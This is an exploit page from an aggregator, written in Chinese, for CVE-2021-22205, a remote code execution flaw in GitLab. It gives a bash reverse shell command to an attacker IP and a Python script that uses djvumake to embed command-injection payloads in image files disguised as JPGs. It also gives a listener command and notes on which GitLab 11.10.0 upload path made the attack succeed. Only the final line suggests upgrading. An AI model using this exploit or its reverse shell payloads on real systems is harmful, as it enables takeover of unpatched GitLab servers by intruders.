Sploitus

Exploit for CVE-2021-22205-getshell

kitploit · 2026-08-25

Exploit Code

MARKDOWN61 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SHANG159-CVE-2021-22205-GETSHELL
# CVE-2021-22205-getshell

CVE-2021-22205-getshell

## 测试版本

## 构造生成漏洞利用的命令

root@kitploit:~
    
    
    echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
    chmod +x /tmp/1.sh
    /bin/bash /tmp/1.sh
    

## 利用djvumake生成漏洞利用的图片

root@kitploit:~
    
    
    import os
    payloads=[
        "echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
        "chmod +x /tmp/1.sh",
        "/bin/bash /tmp/1.sh",
    ]
    index=1000
    for payload in payloads:
        rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
        with open("rce-{0}.txt".format(index), "wb") as text_file:
            text_file.write(rce_payload)
        text_file.close()
        os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
        index=index+1
    

## 本地监听4444端口等待反弹shell

root@kitploit:~
    
    
    nv -lv 192.168.147.5 4444
    

## 分别上传图片到gitlab

  * 这里是和网上exp有出入的地方,很多漏洞exp使用的gitlab应该是高版本应该是12或者13的版本的使用的上传点是新建Snippets处,path为:/uploads/user
  * 我这边验证的版本是11.10.0的,利用公开的上传路径/uploads/user,提示404,利用Snippets的上传路径/uploads/personal_snippet,没法执行命令
  * 最终从新建issue的页面上传图片,成功实现命令执行



## 成功反弹shell拿到目标机器权限

分别上传三个图片后,第三个图片回执行反弹shell命令,成功拿到目标机器权限

## 修复建议

尽快升级Gitlab至最新的安全版本。